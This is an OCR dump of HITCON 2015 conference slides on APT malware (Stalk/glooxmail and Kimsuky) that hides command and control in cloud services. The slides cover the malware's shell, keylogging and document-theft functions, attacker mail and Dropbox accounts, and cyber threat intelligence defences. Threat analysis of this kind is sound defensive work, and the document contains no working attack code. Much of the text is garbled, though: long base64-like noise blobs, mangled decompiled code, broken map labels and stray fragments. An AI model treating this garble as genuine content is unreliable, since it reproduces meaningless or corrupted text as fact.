9XTPEANBFYmwiNmCeOCMSCCKAW4VYjXkSKHC4RFhwWhs3rGJOYrBA1veREIR7ezyg/LXGg5Log3
Q1pTHJDOyBGYmX2tfm550djE62cFwJ+hpDeet7onAFzNjyEcCER5GIsu5gbxUhCV/6+LjhrrvdCvQOyb
HK4cjeZ]CDCReNo6LTXe4390DPICSEXLFiGsU+BegmsJXOW10RkgnUD5+ZFbhYOAYPDpEUAbpGS
m+6255g8twIKoEUdSAIyXMp5ye6UIIdURF3KOEOrJY]jjROpC3+S4NAU3GI35X4Nt TtewwgND6EVISYgE!
sKKBFSCM1NgxcOelSPLOXKExrWeWsuWSsbRYuVMvosIK7ZMQXXqix+AE4EKULIXPTX5EfQ50LNnSC
dQyue/RhLPFqBp6GIlIWEPZGw4RpkKOBQGNuUpLFHeNw/6IFAF 3/Wiyop4+BXPQEDLmko4V/VgEticID3
mUIghXU21/K300dTIZUgQrJ8sXslgjJaTpVAOIN1oYmKFDIRLswawFhvWpygpsNzNYbeidhWHw4b0oU
8AZmyUv/HO4PSR7k/6MF9o0stxx/HFuUybR+z5mOxjS0I8uwk3nPSE6LwaSeF MilXv8dNIpXuT/EV2vk
D9TAQD2LFBWDvVDMxzunp4fir2ldNIViwlleEdDHwWPfSWk/cp80HD9GUIYN37GSTSFn3H2fctcRJZmzJB

(*(uoid (_ stdcall =*)(int, int *))(v12 + 36))
(*(void (__ stdcall =x)(int, LPCUSTR *))(*{_DWO




4\WAAADI\/IzMWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFFDWmMXB +pydDwdvQcIMPR
8Uoday9yM5IHo+sdPAmMzPEOt7LTjjXMIvIOYRCKBytSNICOpSImHuswDN9gz3JMiB
DkOI+ylZG4szjaxDa8ALnyFMzEIONn3GcYujgwwoiZRXdzFyRtG782fvUtViwNdDWeofS
TZEKVIkG3VbZ9XDdwbe7YkiBTt7UYK3VgFfOhpXKFp6VkgBvRj2ZheFolwDiKXRusYRf
5Km1KYKaDM7TZMVV5Jtcdyg97Cha7RVosja5IU83f4k0cC7jJkROBICPwIyZbhi8rV5j
j2DftJQO01NjnOg2rnUIDfbfkeywxHZQJx4alAAwWMPQyk+pekIwF1bzVFIxhD3dDkjvh
db8Hh2QE3IF3jGkcSdUecpTGZr2E2x+fnuNfHrtNbxoRRcebmylYz90D0OBMrDgiD3T9
x5QngwrHM]jg8TUymCCeWxiUshE81QyS7LUo8ibCmu3+yT9K6eYPiIWOAzzH5TohSd
DOulaplLsZCRXRk+vodo9i8FBmVngl+U3W1snM1JkhUJG3SUqdXGulkzB42nL82Ad
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* Name: Stalk / glooxmail
» Targeted Country:
 Targeted Sector:

* First Seen: 2011

o Infrastructure: G Talk

* Campaign: APT1

% HITCON 2015 Let's Play Hide and Seek in the Cloud



) N

—
? @TLS encryption

@ Encoded Command

Victim




TROJAN.GTALK functionality

Function _____Description

Create/kill/list processes Send a process listing, kill a
process by name or PID.

File upload/download

Gather system information Information includes hostname, IP
address, OS version, and the static
string “0.0.1” which may be a
malware version string.

Interactive shell session Start a cmd.exe child process.
Arbitrary commands can be sent
from a remote host to the
malware to execute

Set sleep interval




Name: Kimsuky
Targeted Country: KR
Targeted Sector: GOV,
Military Industry; ThinkTank
e First Seen:2013
 Infrastructure:

Public email

service, leamViewer
* Behavior: communicated
with its “master” via a
public e-mail server and
TeamViewer

% HITCON 2015 Let's Play Hide and Seek in the Cloud



RC4 Encrypted

RC4 Encrypted Data

RSA Encrypted RC4 Key




Modules

modules _____ Description ____

Keystroke logging

Directory listing collection Gather information and
Spy victim
HWP document theft Hancom Office

Remote control download Download extra program
and execution from in-coming mail

Remote control access Use modified TeamViewer
client




Interesting

* The public e-mail server :Bulgarian — mail.bg

* Compilation path string : Korean hieroglyphs
D:\rsh\& Z\UAC_dlI(£2Fd)\Release\test.pdb

) 4

*D:\rsh\ATTACK\UAC dIIl(COMPLETION)\Release\te
st.pdb

* Modified TeamViewer



Attacker Thread

Changchun.__Jilin

Siping Jilin

Liaoyuan Yanbian
& O *—11 /_n——!Frun >
Und \

ok
aNajpn

Fushun
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- Hye
Liaoyang o=
(& )

Ch ji
ongjin
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3

Kimchaek
o

N ort h Tanghén
Sinuiju Korea

Wonsan
o

Pyongyang
L )

Nan?pho ]
Solg:ho
Kaegf‘;ﬂg Chun(_:‘heon
: South Korea
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= o
Incheon o Wonju Ulleung-eup




Attacker Thread — Mail Account

* Mail accounts :
*iopl110112@hotmail.com
° rshl1213@hotmail.com

* DropBox Account :
* Names: kimsukyang and “Kim asdfa”



Who are the Target or Targets ....?

THE SER KL INSTTTLITE

/‘

4
KIDA Korea Institute for Defense Analyses
o




What APT malware love
about cloud service?




e Easy to change; like DDNS
* Bypass passive DNS

* Bypass IDS

* Bypass AV

e Difficult to trace

* Cost down

* Easy to build/maintenance

23 HITCON 2015 Let's Play Hide and Seek in the Cloud




What can we do?




What can we do?

* Black List

% HITCON 2015 Let's Play Hide and Seek in the Cloud




What can we do?

CTI (Cyber Threat Intelligence)

» "Cyber threat intelligence is knowledge about
adversaries and
their motivations, intentions, and methods that is
collected, analyzed, and disseminated in ways that
help security and business staff at all levels
protect the critical assets of the enterprise.”

Jon Friedman et al, 2015, Definitive Guide to Cyber Threat Intelligence

& HITCON 2015 Let's Play Hide and Seek in the Cloud




(

 Private Detective e Doctor

« Investigation - | * Prescription

3

Long-term tracking g "’Q?‘né f

¢

« high-level strategy

« Campaign Tactics | §
Techniques and

\_ F _/
procedure =S
S prevent
/
-
mergency ¥ N

Response Tegt

. respond detect

« Emergency
Response »
Handling Crisis

ecurity Guard

e 24x7 monitor ~
report

\.» malware weapon

e _indicator match ___/

HITCON 2015 Let's Play Hide and Seek in the Cloud
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